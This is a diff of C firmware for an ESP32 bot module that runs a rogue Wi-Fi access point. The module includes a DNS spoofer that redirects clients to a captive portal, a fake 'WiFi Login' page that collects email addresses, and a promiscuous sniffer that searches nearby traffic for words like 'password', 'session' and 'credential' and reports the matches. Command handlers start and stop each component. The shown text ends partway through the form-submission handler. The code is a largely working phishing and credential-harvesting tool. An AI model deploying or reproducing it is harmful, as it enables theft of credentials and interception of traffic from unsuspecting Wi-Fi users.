(void)argv;
|
||||
(void)ctx;
|
||||
|
||||
if (!fakeap_active) {
|
||||
msg_error(TAG, "FakeAP not running", req);
|
||||
return -1;
|
||||
}
|
||||
|
||||
if (portal_running) {
|
||||
stop_captive_portal();
|
||||
portal_running = false;
|
||||
}
|
||||
|
||||
if (sniffer_running) {
|
||||
stop_sniffer();
|
||||
sniffer_running = false;
|
||||
}
|
||||
|
||||
stop_access_point();
|
||||
fakeap_active = false;
|
||||
|
||||
msg_info(TAG, "FakeAP stopped", req);
|
||||
return 0;
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* COMMAND: fakeap_status
|
||||
* ============================================================ */
|
||||
static int cmd_fakeap_status(
|
||||
int argc,
|
||||
char **argv,
|
||||
const char *req,
|
||||
void *ctx
|
||||
) {
|
||||
(void)argc;
|
||||
(void)argv;
|
||||
(void)ctx;
|
||||
|
||||
char buf[256];
|
||||
snprintf(buf, sizeof(buf),
|
||||
"FakeAP status:\n"
|
||||
" AP: %s\n"
|
||||
" Portal: %s\n"
|
||||
" Sniffer: %s\n"
|
||||
" Authenticated clients: %d",
|
||||
fakeap_active ? "ON" : "OFF",
|
||||
portal_running ? "ON" : "OFF",
|
||||
sniffer_running ? "ON" : "OFF",
|
||||
authenticated_count
|
||||
);
|
||||
|
||||
msg_info(TAG, buf, req);
|
||||
return 0;
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* COMMAND: fakeap_clients
|
||||
* ============================================================ */
|
||||
static int cmd_fakeap_clients(
|
||||
int argc,
|
||||
char **argv,
|
||||
const char *req,
|
||||
void *ctx
|
||||
) {
|
||||
(void)argc;
|
||||
(void)argv;
|
||||
(void)ctx;
|
||||
|
||||
if (!fakeap_active) {
|
||||
msg_error(TAG, "FakeAP not running", req);
|
||||
return -1;
|
||||
}
|
||||
|
||||
list_connected_clients();
|
||||
return 0;
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* COMMAND: fakeap_portal_start
|
||||
* ============================================================ */
|
||||
static int cmd_fakeap_portal_start(
|
||||
int argc,
|
||||
char **argv,
|
||||
const char *req,
|
||||
void *ctx
|
||||
) {
|
||||
(void)argc;
|
||||
(void)argv;
|
||||
(void)ctx;
|
||||
|
||||
if (!fakeap_active) {
|
||||
msg_error(TAG, "Start FakeAP first", req);
|
||||
return -1;
|
||||
}
|
||||
|
||||
if (portal_running) {
|
||||
msg_error(TAG, "Captive portal already running", req);
|
||||
return -1;
|
||||
}
|
||||
|
||||
start_captive_portal();
|
||||
portal_running = true;
|
||||
|
||||
msg_info(TAG, "Captive portal enabled", req);
|
||||
return 0;
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* COMMAND: fakeap_portal_stop
|
||||
* ============================================================ */
|
||||
static int cmd_fakeap_portal_stop(
|
||||
int argc,
|
||||
char **argv,
|
||||
const char *req,
|
||||
void *ctx
|
||||
) {
|
||||
(void)argc;
|
||||
(void)argv;
|
||||
(void)ctx;
|
||||
|
||||
if (!portal_running) {
|
||||
msg_error(TAG, "Captive portal not running", req);
|
||||
return -1;
|
||||
}
|
||||
|
||||
stop_captive_portal();
|
||||
portal_running = false;
|
||||
|
||||
msg_info(TAG, "Captive portal stopped", req);
|
||||
return 0;
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* COMMAND: fakeap_sniffer_on
|
||||
* ============================================================ */
|
||||
static int cmd_fakeap_sniffer_on(
|
||||
int argc,
|
||||
char **argv,
|
||||
const char *req,
|
||||
void *ctx
|
||||
) {
|
||||
(void)argc;
|
||||
(void)argv;
|
||||
(void)ctx;
|
||||
|
||||
if (sniffer_running) {
|
||||
msg_error(TAG, "Sniffer already running", req);
|
||||
return -1;
|
||||
}
|
||||
|
||||
start_sniffer();
|
||||
sniffer_running = true;
|
||||
|
||||
msg_info(TAG, "Sniffer enabled", req);
|
||||
return 0;
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* COMMAND: fakeap_sniffer_off
|
||||
* ============================================================ */
|
||||
static int cmd_fakeap_sniffer_off(
|
||||
int argc,
|
||||
char **argv,
|
||||
const char *req,
|
||||
void *ctx
|
||||
) {
|
||||
(void)argc;
|
||||
(void)argv;
|
||||
(void)ctx;
|
||||
|
||||
if (!sniffer_running) {
|
||||
msg_error(TAG, "Sniffer not running", req);
|
||||
return -1;
|
||||
}
|
||||
|
||||
stop_sniffer();
|
||||
sniffer_running = false;
|
||||
|
||||
msg_info(TAG, "Sniffer disabled", req);
|
||||
return 0;
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* REGISTER COMMANDS
|
||||
* ============================================================ */
|
||||
static const command_t fakeap_cmds[] = {
|
||||
{ "fakeap_start", NULL, NULL, 1, 3, cmd_fakeap_start, NULL, false },
|
||||
{ "fakeap_stop", NULL, NULL, 0, 0, cmd_fakeap_stop, NULL, false },
|
||||
{ "fakeap_status", NULL, NULL, 0, 0, cmd_fakeap_status, NULL, false },
|
||||
{ "fakeap_clients", NULL, NULL, 0, 0, cmd_fakeap_clients, NULL, false },
|
||||
{ "fakeap_portal_start", NULL, NULL, 0, 0, cmd_fakeap_portal_start, NULL, false },
|
||||
{ "fakeap_portal_stop", NULL, NULL, 0, 0, cmd_fakeap_portal_stop, NULL, false },
|
||||
{ "fakeap_sniffer_on", NULL, NULL, 0, 0, cmd_fakeap_sniffer_on, NULL, false },
|
||||
{ "fakeap_sniffer_off", NULL, NULL, 0, 0, cmd_fakeap_sniffer_off, NULL, false }
|
||||
};
|
||||
|
||||
void mod_fakeap_register_commands(void)
|
||||
{
|
||||
for (size_t i = 0; i < sizeof(fakeap_cmds)/sizeof(fakeap_cmds[0]); i++) {
|
||||
command_register(&fakeap_cmds[i]);
|
||||
}
|
||||
}
|
||||
|
||||
2
espilon_bot/components/mod_fakeAP/cmd_fakeAP.h
Normal file
2
espilon_bot/components/mod_fakeAP/cmd_fakeAP.h
Normal file
@ -0,0 +1,2 @@
|
||||
#pragma once
|
||||
void mod_fakeap_register_commands(void);
|
||||
34
espilon_bot/components/mod_fakeAP/fakeAP_utils.h
Normal file
34
espilon_bot/components/mod_fakeAP/fakeAP_utils.h
Normal file
@ -0,0 +1,34 @@
|
||||
#pragma once
|
||||
#include "lwip/ip4_addr.h"
|
||||
#include <stdbool.h>
|
||||
|
||||
#define MAX_CLIENTS 10
|
||||
#define CAPTIVE_PORTAL_IP "192.168.4.1"
|
||||
#define CAPTIVE_PORTAL_URL "http://192.168.4.1/"
|
||||
|
||||
/* DNS settings */
|
||||
#define DNS_PORT 53
|
||||
#define UPSTREAM_DNS "8.8.8.8"
|
||||
|
||||
/* ===== AUTH STATE ===== */
|
||||
bool fakeap_is_authenticated(ip4_addr_t ip);
|
||||
void fakeap_mark_authenticated(ip4_addr_t ip);
|
||||
|
||||
/* Internal use only - exported for mod_web_server.c */
|
||||
extern ip4_addr_t authenticated_clients[MAX_CLIENTS];
|
||||
extern int authenticated_count;
|
||||
|
||||
/* ===== ACCESS POINT ===== */
|
||||
void start_access_point(const char *ssid, const char *password, bool open);
|
||||
void stop_access_point(void);
|
||||
|
||||
/* ===== CAPTIVE PORTAL ===== */
|
||||
void *start_captive_portal(void);
|
||||
void stop_captive_portal(void);
|
||||
|
||||
/* ===== SNIFFER ===== */
|
||||
void start_sniffer(void);
|
||||
void stop_sniffer(void);
|
||||
|
||||
/* ===== CLIENTS ===== */
|
||||
void list_connected_clients(void);
|
||||
381
espilon_bot/components/mod_fakeAP/mod_fakeAP.c
Normal file
381
espilon_bot/components/mod_fakeAP/mod_fakeAP.c
Normal file
@ -0,0 +1,381 @@
|
||||
#include <string.h>
|
||||
#include <stdlib.h>
|
||||
#include <stdio.h>
|
||||
|
||||
#include "esp_log.h"
|
||||
#include "esp_wifi.h"
|
||||
#include "esp_netif.h"
|
||||
#include "esp_event.h"
|
||||
#include "lwip/sockets.h"
|
||||
#include "lwip/netdb.h"
|
||||
#include "freertos/FreeRTOS.h"
|
||||
#include "freertos/task.h"
|
||||
#include "freertos/semphr.h"
|
||||
|
||||
#include "fakeAP_utils.h"
|
||||
#include "utils.h"
|
||||
|
||||
static const char *TAG = "MODULE_FAKE_AP";
|
||||
static esp_netif_t *ap_netif = NULL;
|
||||
static bool ap_event_registered = false;
|
||||
static esp_event_handler_instance_t ap_event_instance_connect;
|
||||
static esp_event_handler_instance_t ap_event_instance_disconnect;
|
||||
static bool ap_ip_event_registered = false;
|
||||
static esp_event_handler_instance_t ap_event_instance_ip;
|
||||
|
||||
/* ================= AUTH ================= */
|
||||
ip4_addr_t authenticated_clients[MAX_CLIENTS]; /* exported for mod_web_server.c */
|
||||
int authenticated_count = 0; /* exported for mod_web_server.c */
|
||||
static SemaphoreHandle_t auth_mutex;
|
||||
|
||||
/* ================= DNS ================= */
|
||||
static TaskHandle_t dns_task_handle = NULL;
|
||||
|
||||
typedef struct {
|
||||
bool captive_portal;
|
||||
} dns_param_t;
|
||||
|
||||
/* Forward declaration */
|
||||
void dns_forwarder_task(void *pv);
|
||||
|
||||
/* ============================================================
|
||||
* AUTH
|
||||
* ============================================================ */
|
||||
bool fakeap_is_authenticated(ip4_addr_t ip)
|
||||
{
|
||||
bool res = false;
|
||||
xSemaphoreTake(auth_mutex, portMAX_DELAY);
|
||||
for (int i = 0; i < authenticated_count; i++) {
|
||||
if (authenticated_clients[i].addr == ip.addr) {
|
||||
res = true;
|
||||
break;
|
||||
}
|
||||
}
|
||||
xSemaphoreGive(auth_mutex);
|
||||
return res;
|
||||
}
|
||||
|
||||
void fakeap_mark_authenticated(ip4_addr_t ip)
|
||||
{
|
||||
xSemaphoreTake(auth_mutex, portMAX_DELAY);
|
||||
if (authenticated_count < MAX_CLIENTS) {
|
||||
authenticated_clients[authenticated_count++] = ip;
|
||||
ESP_LOGI(TAG, "Client authenticated: %s", ip4addr_ntoa(&ip));
|
||||
}
|
||||
xSemaphoreGive(auth_mutex);
|
||||
}
|
||||
|
||||
static void fakeap_reset_auth(void)
|
||||
{
|
||||
xSemaphoreTake(auth_mutex, portMAX_DELAY);
|
||||
authenticated_count = 0;
|
||||
memset(authenticated_clients, 0, sizeof(authenticated_clients));
|
||||
xSemaphoreGive(auth_mutex);
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* CLIENTS
|
||||
* ============================================================ */
|
||||
void list_connected_clients(void)
|
||||
{
|
||||
wifi_sta_list_t sta_list;
|
||||
esp_wifi_ap_get_sta_list(&sta_list);
|
||||
|
||||
char buf[512];
|
||||
int off = snprintf(buf, sizeof(buf), "Connected clients: %d\n", sta_list.num);
|
||||
|
||||
for (int i = 0; i < sta_list.num && off < (int)sizeof(buf) - 32; i++) {
|
||||
off += snprintf(buf + off, sizeof(buf) - off,
|
||||
" [%d] %02x:%02x:%02x:%02x:%02x:%02x\n",
|
||||
i + 1,
|
||||
sta_list.sta[i].mac[0], sta_list.sta[i].mac[1],
|
||||
sta_list.sta[i].mac[2], sta_list.sta[i].mac[3],
|
||||
sta_list.sta[i].mac[4], sta_list.sta[i].mac[5]);
|
||||
}
|
||||
|
||||
msg_info(TAG, buf, NULL);
|
||||
}
|
||||
|
||||
static void fakeap_wifi_event_handler(
|
||||
void *arg,
|
||||
esp_event_base_t event_base,
|
||||
int32_t event_id,
|
||||
void *event_data
|
||||
) {
|
||||
if (event_base != WIFI_EVENT) {
|
||||
return;
|
||||
}
|
||||
|
||||
if (event_id == WIFI_EVENT_AP_STACONNECTED) {
|
||||
wifi_event_ap_staconnected_t *e =
|
||||
(wifi_event_ap_staconnected_t *)event_data;
|
||||
char msg[96];
|
||||
snprintf(
|
||||
msg,
|
||||
sizeof(msg),
|
||||
"AP client connected: %02x:%02x:%02x:%02x:%02x:%02x (aid=%d)",
|
||||
e->mac[0], e->mac[1], e->mac[2],
|
||||
e->mac[3], e->mac[4], e->mac[5],
|
||||
e->aid
|
||||
);
|
||||
msg_info(TAG, msg, NULL);
|
||||
} else if (event_id == WIFI_EVENT_AP_STADISCONNECTED) {
|
||||
wifi_event_ap_stadisconnected_t *e =
|
||||
(wifi_event_ap_stadisconnected_t *)event_data;
|
||||
char msg[112];
|
||||
snprintf(
|
||||
msg,
|
||||
sizeof(msg),
|
||||
"AP client disconnected: %02x:%02x:%02x:%02x:%02x:%02x (aid=%d, reason=%d)",
|
||||
e->mac[0], e->mac[1], e->mac[2],
|
||||
e->mac[3], e->mac[4], e->mac[5],
|
||||
e->aid,
|
||||
e->reason
|
||||
);
|
||||
msg_info(TAG, msg, NULL);
|
||||
}
|
||||
}
|
||||
|
||||
static void fakeap_ip_event_handler(
|
||||
void *arg,
|
||||
esp_event_base_t event_base,
|
||||
int32_t event_id,
|
||||
void *event_data
|
||||
) {
|
||||
if (event_base != IP_EVENT || event_id != IP_EVENT_AP_STAIPASSIGNED) {
|
||||
return;
|
||||
}
|
||||
|
||||
ip_event_ap_staipassigned_t *e =
|
||||
(ip_event_ap_staipassigned_t *)event_data;
|
||||
char msg[128];
|
||||
snprintf(
|
||||
msg,
|
||||
sizeof(msg),
|
||||
"AP client got IP: %02x:%02x:%02x:%02x:%02x:%02x -> "
|
||||
IPSTR,
|
||||
e->mac[0], e->mac[1], e->mac[2],
|
||||
e->mac[3], e->mac[4], e->mac[5],
|
||||
IP2STR(&e->ip)
|
||||
);
|
||||
ESP_LOGI(TAG, "%s", msg);
|
||||
msg_info(TAG, msg, NULL);
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* AP
|
||||
* ============================================================ */
|
||||
void stop_access_point(void)
|
||||
{
|
||||
if (dns_task_handle) {
|
||||
vTaskDelete(dns_task_handle);
|
||||
dns_task_handle = NULL;
|
||||
}
|
||||
fakeap_reset_auth();
|
||||
esp_wifi_set_mode(WIFI_MODE_STA);
|
||||
msg_info(TAG, "Access Point stopped", NULL);
|
||||
}
|
||||
|
||||
void start_access_point(const char *ssid, const char *password, bool open)
|
||||
{
|
||||
if (!auth_mutex)
|
||||
auth_mutex = xSemaphoreCreateMutex();
|
||||
|
||||
fakeap_reset_auth();
|
||||
|
||||
ESP_ERROR_CHECK(esp_wifi_set_mode(WIFI_MODE_APSTA));
|
||||
|
||||
if (!ap_event_registered) {
|
||||
ESP_ERROR_CHECK(
|
||||
esp_event_handler_instance_register(
|
||||
WIFI_EVENT,
|
||||
WIFI_EVENT_AP_STACONNECTED,
|
||||
&fakeap_wifi_event_handler,
|
||||
NULL,
|
||||
&ap_event_instance_connect
|
||||
)
|
||||
);
|
||||
ESP_ERROR_CHECK(
|
||||
esp_event_handler_instance_register(
|
||||
WIFI_EVENT,
|
||||
WIFI_EVENT_AP_STADISCONNECTED,
|
||||
&fakeap_wifi_event_handler,
|
||||
NULL,
|
||||
&ap_event_instance_disconnect
|
||||
)
|
||||
);
|
||||
ap_event_registered = true;
|
||||
}
|
||||
if (!ap_ip_event_registered) {
|
||||
ESP_ERROR_CHECK(
|
||||
esp_event_handler_instance_register(
|
||||
IP_EVENT,
|
||||
IP_EVENT_AP_STAIPASSIGNED,
|
||||
&fakeap_ip_event_handler,
|
||||
NULL,
|
||||
&ap_event_instance_ip
|
||||
)
|
||||
);
|
||||
ap_ip_event_registered = true;
|
||||
}
|
||||
|
||||
wifi_config_t cfg = {0};
|
||||
strncpy((char *)cfg.ap.ssid, ssid, sizeof(cfg.ap.ssid));
|
||||
cfg.ap.ssid_len = strlen(ssid);
|
||||
cfg.ap.max_connection = MAX_CLIENTS;
|
||||
|
||||
if (open) {
|
||||
cfg.ap.authmode = WIFI_AUTH_OPEN;
|
||||
} else {
|
||||
strncpy((char *)cfg.ap.password, password, sizeof(cfg.ap.password));
|
||||
cfg.ap.authmode = WIFI_AUTH_WPA_WPA2_PSK;
|
||||
}
|
||||
|
||||
ESP_ERROR_CHECK(esp_wifi_set_config(WIFI_IF_AP, &cfg));
|
||||
vTaskDelay(pdMS_TO_TICKS(2000));
|
||||
|
||||
if (!ap_netif) {
|
||||
ap_netif = esp_netif_get_handle_from_ifkey("WIFI_AP_DEF");
|
||||
}
|
||||
if (!ap_netif) {
|
||||
ap_netif = esp_netif_create_default_wifi_ap();
|
||||
}
|
||||
if (!ap_netif) {
|
||||
ESP_LOGE(TAG, "Failed to create AP netif");
|
||||
return;
|
||||
}
|
||||
|
||||
esp_netif_ip_info_t ip = {
|
||||
.ip.addr = ESP_IP4TOADDR(192, 168, 4, 1),
|
||||
.gw.addr = ESP_IP4TOADDR(192, 168, 4, 1),
|
||||
.netmask.addr = ESP_IP4TOADDR(255, 255, 255, 0),
|
||||
};
|
||||
|
||||
esp_netif_dhcps_stop(ap_netif);
|
||||
esp_netif_set_ip_info(ap_netif, &ip);
|
||||
esp_netif_dhcps_option(
|
||||
ap_netif,
|
||||
ESP_NETIF_OP_SET,
|
||||
ESP_NETIF_DOMAIN_NAME_SERVER,
|
||||
&ip.ip,
|
||||
sizeof(ip.ip)
|
||||
);
|
||||
esp_netif_dhcps_start(ap_netif);
|
||||
ESP_LOGI(TAG,
|
||||
"AP IP: " IPSTR " GW: " IPSTR " MASK: " IPSTR,
|
||||
IP2STR(&ip.ip), IP2STR(&ip.gw), IP2STR(&ip.netmask));
|
||||
ESP_LOGI(TAG, "DHCP server started");
|
||||
|
||||
/*
|
||||
* Note: NAPT disabled - causes crashes with lwip mem_free assertion.
|
||||
* FakeAP works without NAPT (no internet sharing to clients).
|
||||
* TODO: Fix NAPT if internet sharing is needed.
|
||||
*/
|
||||
|
||||
dns_param_t *p = calloc(1, sizeof(*p));
|
||||
p->captive_portal = open;
|
||||
|
||||
xTaskCreate(
|
||||
dns_forwarder_task,
|
||||
"dns_forwarder",
|
||||
4096,
|
||||
p,
|
||||
5,
|
||||
&dns_task_handle
|
||||
);
|
||||
|
||||
char msg[64];
|
||||
snprintf(msg, sizeof(msg), "FakeAP started (%s)", open ? "captive" : "open");
|
||||
msg_info(TAG, msg, NULL);
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* DNS
|
||||
* ============================================================ */
|
||||
static void send_dns_spoof(
|
||||
int sock,
|
||||
struct sockaddr_in *cli,
|
||||
socklen_t len,
|
||||
uint8_t *req,
|
||||
int req_len,
|
||||
uint32_t ip
|
||||
) {
|
||||
/* DNS answer appends 16 bytes after the request */
|
||||
#define DNS_ANSWER_SIZE 16
|
||||
uint8_t resp[512 + DNS_ANSWER_SIZE];
|
||||
|
||||
if (req_len <= 0 || req_len > 512) {
|
||||
ESP_LOGW(TAG, "DNS spoof: invalid req_len=%d", req_len);
|
||||
return;
|
||||
}
|
||||
|
||||
memcpy(resp, req, req_len);
|
||||
|
||||
resp[2] |= 0x80; // QR = response
|
||||
resp[3] |= 0x80; // RA
|
||||
resp[7] = 1; // ANCOUNT
|
||||
|
||||
int off = req_len;
|
||||
resp[off++] = 0xC0; resp[off++] = 0x0C;
|
||||
resp[off++] = 0x00; resp[off++] = 0x01;
|
||||
resp[off++] = 0x00; resp[off++] = 0x01;
|
||||
resp[off++] = 0; resp[off++] = 0; resp[off++] = 0; resp[off++] = 30;
|
||||
resp[off++] = 0; resp[off++] = 4;
|
||||
memcpy(&resp[off], &ip, 4);
|
||||
off += 4;
|
||||
|
||||
sendto(sock, resp, off, 0, (struct sockaddr *)cli, len);
|
||||
}
|
||||
|
||||
void dns_forwarder_task(void *pv)
|
||||
{
|
||||
dns_param_t *p = pv;
|
||||
bool captive = p->captive_portal;
|
||||
free(p);
|
||||
|
||||
int sock = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
|
||||
|
||||
struct sockaddr_in local = {
|
||||
.sin_family = AF_INET,
|
||||
.sin_port = htons(DNS_PORT),
|
||||
.sin_addr.s_addr = htonl(INADDR_ANY)
|
||||
};
|
||||
bind(sock, (struct sockaddr *)&local, sizeof(local));
|
||||
|
||||
char msg[64];
|
||||
snprintf(msg, sizeof(msg), "DNS forwarder running (captive=%d)", captive);
|
||||
msg_info(TAG, msg, NULL);
|
||||
|
||||
uint8_t buf[512];
|
||||
while (1) {
|
||||
struct sockaddr_in cli;
|
||||
socklen_t l = sizeof(cli);
|
||||
int r = recvfrom(sock, buf, sizeof(buf), 0,
|
||||
(struct sockaddr *)&cli, &l);
|
||||
if (r <= 0) continue;
|
||||
|
||||
ip4_addr_t ip;
|
||||
ip.addr = cli.sin_addr.s_addr;
|
||||
|
||||
ESP_LOGI(TAG, "DNS query from %s", ip4addr_ntoa(&ip));
|
||||
|
||||
if (captive && !fakeap_is_authenticated(ip)) {
|
||||
ESP_LOGI(TAG, "Spoofing DNS -> %s", CAPTIVE_PORTAL_IP);
|
||||
send_dns_spoof(sock, &cli, l, buf, r, inet_addr(CAPTIVE_PORTAL_IP));
|
||||
continue;
|
||||
}
|
||||
|
||||
int up = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
|
||||
struct sockaddr_in dns = {
|
||||
.sin_family = AF_INET,
|
||||
.sin_port = htons(53),
|
||||
.sin_addr.s_addr = inet_addr(UPSTREAM_DNS)
|
||||
};
|
||||
|
||||
sendto(up, buf, r, 0, (struct sockaddr *)&dns, sizeof(dns));
|
||||
r = recvfrom(up, buf, sizeof(buf), 0, NULL, NULL);
|
||||
if (r > 0)
|
||||
sendto(sock, buf, r, 0, (struct sockaddr *)&cli, l);
|
||||
close(up);
|
||||
}
|
||||
}
|
||||
134
espilon_bot/components/mod_fakeAP/mod_netsniff.c
Normal file
134
espilon_bot/components/mod_fakeAP/mod_netsniff.c
Normal file
@ -0,0 +1,134 @@
|
||||
#include "esp_wifi.h"
|
||||
#include "esp_log.h"
|
||||
#include <ctype.h>
|
||||
#include <string.h>
|
||||
#include <stdbool.h>
|
||||
|
||||
#include "fakeAP_utils.h"
|
||||
#include "utils.h"
|
||||
#include "event_format.h"
|
||||
|
||||
static const char *TAG = "MODULE_NET_SNIFFER";
|
||||
|
||||
/* ============================================================
|
||||
* State
|
||||
* ============================================================ */
|
||||
static bool sniffer_running = false;
|
||||
static uint32_t sniff_counter = 0;
|
||||
|
||||
/* ============================================================
|
||||
* Helpers
|
||||
* ============================================================ */
|
||||
static void extract_printable(
|
||||
const uint8_t *src,
|
||||
int src_len,
|
||||
char *dst,
|
||||
int dst_len
|
||||
) {
|
||||
int j = 0;
|
||||
for (int i = 0; i < src_len && j < dst_len - 1; i++) {
|
||||
if (isprint(src[i])) {
|
||||
dst[j++] = src[i];
|
||||
}
|
||||
}
|
||||
dst[j] = '\0';
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* WiFi callback
|
||||
* ============================================================ */
|
||||
static void wifi_sniffer_packet_handler(
|
||||
void *buf,
|
||||
wifi_promiscuous_pkt_type_t type
|
||||
) {
|
||||
if (!sniffer_running || type != WIFI_PKT_DATA)
|
||||
return;
|
||||
|
||||
const wifi_promiscuous_pkt_t *pkt =
|
||||
(const wifi_promiscuous_pkt_t *)buf;
|
||||
|
||||
const uint8_t *frame = pkt->payload;
|
||||
uint16_t frame_len = pkt->rx_ctrl.sig_len;
|
||||
|
||||
if (frame_len < 36)
|
||||
return;
|
||||
|
||||
const uint8_t *payload = frame + 24;
|
||||
int payload_len = frame_len - 24;
|
||||
if (payload_len <= 0)
|
||||
return;
|
||||
|
||||
char printable[128];
|
||||
extract_printable(payload, payload_len, printable, sizeof(printable));
|
||||
if (!printable[0])
|
||||
return;
|
||||
|
||||
const char *keywords[] = {
|
||||
"password", "login", "username", "pass",
|
||||
"email", "auth", "session", "credential",
|
||||
"secret", "admin"
|
||||
};
|
||||
|
||||
for (size_t i = 0; i < sizeof(keywords)/sizeof(keywords[0]); i++) {
|
||||
if (strstr(printable, keywords[i])) {
|
||||
|
||||
if ((sniff_counter++ % 20) != 0)
|
||||
return;
|
||||
|
||||
/* Extract source MAC from WiFi frame (addr2 = transmitter) */
|
||||
char src_mac[18];
|
||||
snprintf(src_mac, sizeof(src_mac),
|
||||
"%02x:%02x:%02x:%02x:%02x:%02x",
|
||||
frame[10], frame[11], frame[12],
|
||||
frame[13], frame[14], frame[15]);
|
||||
|
||||
char detail[128];
|
||||
snprintf(detail, sizeof(detail),
|
||||
"keyword='%s' payload='%.64s'",
|
||||
keywords[i], printable);
|
||||
|
||||
event_send(
|
||||
"WIFI_PROBE", "MEDIUM",
|
||||
src_mac, "0.0.0.0",
|
||||
0, 0, detail, NULL
|
||||
);
|
||||
return;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* API
|
||||
* ============================================================ */
|
||||
void start_sniffer(void)
|
||||
{
|
||||
if (sniffer_running) {
|
||||
msg_info(TAG, "Sniffer already running", NULL);
|
||||
return;
|
||||
}
|
||||
|
||||
sniff_counter = 0;
|
||||
sniffer_running = true;
|
||||
|
||||
ESP_ERROR_CHECK(
|
||||
esp_wifi_set_promiscuous_rx_cb(
|
||||
wifi_sniffer_packet_handler
|
||||
)
|
||||
);
|
||||
ESP_ERROR_CHECK(esp_wifi_set_promiscuous(true));
|
||||
|
||||
msg_info(TAG, "WiFi sniffer started", NULL);
|
||||
}
|
||||
|
||||
void stop_sniffer(void)
|
||||
{
|
||||
if (!sniffer_running) {
|
||||
msg_info(TAG, "Sniffer not running", NULL);
|
||||
return;
|
||||
}
|
||||
|
||||
sniffer_running = false;
|
||||
ESP_ERROR_CHECK(esp_wifi_set_promiscuous(false));
|
||||
|
||||
msg_info(TAG, "WiFi sniffer stopped", NULL);
|
||||
}
|
||||
213
espilon_bot/components/mod_fakeAP/mod_web_server.c
Normal file
213
espilon_bot/components/mod_fakeAP/mod_web_server.c
Normal file
@ -0,0 +1,213 @@
|
||||
#include "esp_log.h"
|
||||
#include "esp_wifi.h"
|
||||
#include <string.h>
|
||||
#include <stdlib.h>
|
||||
#include <stdbool.h>
|
||||
|
||||
#include "lwip/sockets.h"
|
||||
#include "lwip/inet.h"
|
||||
#include "esp_http_server.h"
|
||||
|
||||
#include "fakeAP_utils.h"
|
||||
#include "utils.h"
|
||||
#include "event_format.h"
|
||||
|
||||
#define TAG "CAPTIVE_PORTAL"
|
||||
|
||||
/* ============================================================
|
||||
* Global state
|
||||
* ============================================================ */
|
||||
static httpd_handle_t captive_portal_server = NULL;
|
||||
|
||||
/* ============================================================
|
||||
* Helpers
|
||||
* ============================================================ */
|
||||
static bool is_already_authenticated(ip4_addr_t ip)
|
||||
{
|
||||
for (int i = 0; i < authenticated_count; i++) {
|
||||
if (authenticated_clients[i].addr == ip.addr) {
|
||||
return true;
|
||||
}
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
void mark_authenticated(ip4_addr_t ip)
|
||||
{
|
||||
if (is_already_authenticated(ip)) {
|
||||
ESP_LOGI(TAG, "Client already authenticated: %s",
|
||||
ip4addr_ntoa(&ip));
|
||||
return;
|
||||
}
|
||||
|
||||
if (authenticated_count >= MAX_CLIENTS) {
|
||||
ESP_LOGW(TAG, "Max authenticated clients reached");
|
||||
return;
|
||||
}
|
||||
|
||||
authenticated_clients[authenticated_count++] = ip;
|
||||
ESP_LOGI(TAG, "Client authenticated: %s",
|
||||
ip4addr_ntoa(&ip));
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* Captive portal page
|
||||
* ============================================================ */
|
||||
static const char *LOGIN_PAGE =
|
||||
"<!DOCTYPE html><html><head>"
|
||||
"<meta charset='utf-8'>"
|
||||
"<meta name='viewport' content='width=device-width,initial-scale=1'>"
|
||||
"<title>WiFi Login</title>"
|
||||
"<style>"
|
||||
"body{font-family:Arial;background:#f5f5f5;padding:40px}"
|
||||
".card{max-width:360px;margin:auto;background:#fff;padding:30px;"
|
||||
"border-radius:10px;box-shadow:0 0 10px rgba(0,0,0,.1)}"
|
||||
"input{width:100%;padding:10px;margin:10px 0}"
|
||||
"input[type=submit]{background:#007BFF;color:#fff;border:none}"
|
||||
"</style></head><body>"
|
||||
"<div class='card'>"
|
||||
"<h2>Connexion Internet requise</h2>"
|
||||
"<form method='POST' action='/submit'>"
|
||||
"<input type='email' name='email' required>"
|
||||
"<input type='submit' value='Se connecter'>"
|
||||
"</form></div></body></html>";
|
||||
|
||||
/* ============================================================
|
||||
* HTTP handlers
|
||||
* ============================================================ */
|
||||
static esp_err_t captive_portal_handler(httpd_req_t *req)
|
||||
{
|
||||
ESP_LOGI(TAG, "HTTP request received: %s", req->uri);
|
||||
|
||||
struct sockaddr_in addr;
|
||||
socklen_t len = sizeof(addr);
|
||||
|
||||
getpeername(httpd_req_to_sockfd(req),
|
||||
(struct sockaddr *)&addr,
|
||||
&len);
|
||||
|
||||
ip4_addr_t client_ip;
|
||||
client_ip.addr = addr.sin_addr.s_addr;
|
||||
ESP_LOGI(TAG, "Client IP: %s", ip4addr_ntoa(&client_ip));
|
||||
|
||||
if (is_already_authenticated(client_ip)) {
|
||||
httpd_resp_set_status(req, "302 Found");
|
||||
httpd_resp_set_hdr(req, "Location", "https://www.google.com");
|
||||
httpd_resp_send(req, NULL, 0);
|
||||
return ESP_OK;
|
||||
}
|
||||
|
||||
httpd_resp_set_type(req, "text/html");
|
||||
httpd_resp_send(req, LOGIN_PAGE, HTTPD_RESP_USE_STRLEN);
|
||||
return ESP_OK;
|
||||
}
|
||||
|
||||
static esp_err_t post_handler(httpd_req_t *req)
|
||||
{
|
||||
char buf[256];
|
||||
int recv = httpd_req_recv(req, buf, sizeof(buf) - 1);
|
||||
if (recv <= 0)
|
||||
return ESP_FAIL;
|
||||
|
||||
buf[recv] = '\0';
|
||||
|
||||
struct sockaddr_in addr;
|
||||
socklen_t len = sizeof(addr);
|
||||
|
||||
getpeername(httpd_req_to_sockfd(req),
|
||||
(struct sockaddr *)&addr,
|
||||
&len);
|
||||
|
||||
ip4_addr_t client_ip;
|
||||
client_ip.addr = addr.sin_addr.s_addr;
|
||||
|
||||
char *email = strstr(buf, "email=");
|
||||
if (email) {
|
||||
